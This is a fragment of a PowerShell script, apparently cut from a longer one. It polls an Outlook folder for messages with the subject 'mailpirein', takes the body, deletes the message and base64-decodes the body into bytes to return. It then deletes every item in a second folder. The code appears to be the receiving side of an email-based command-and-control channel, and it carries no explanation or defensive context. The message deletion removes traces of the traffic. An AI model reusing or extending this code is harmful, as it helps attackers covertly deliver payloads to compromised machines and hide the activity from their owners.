|
||||||
|
[byte[]]$b = @();
|
||||||
|
|
||||||
|
While ($break -ne $True){
|
||||||
|
foreach ($item in $fld.Items) {
|
||||||
|
if($item.Subject -eq "mailpirein"){
|
||||||
|
$item.HTMLBody | out-null;
|
||||||
|
if($item.Body[$item.Body.Length-1] -ne '-'){
|
||||||
|
$traw = $item.Body;
|
||||||
|
$item.Delete();
|
||||||
|
$break = $True;
|
||||||
|
$b = [System.Convert]::FromBase64String($traw);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Start-Sleep -s 1;
|
||||||
|
}
|
||||||
|
return ,$b
|
||||||
|
|
||||||
|
}
|
||||||
|
catch {
|
||||||
|
|
||||||
|
}
|
||||||
|
while(($fldel.Items | measure | %{$_.Count}) -gt 0 ){ $fldel.Items | %{$_.delete()};} |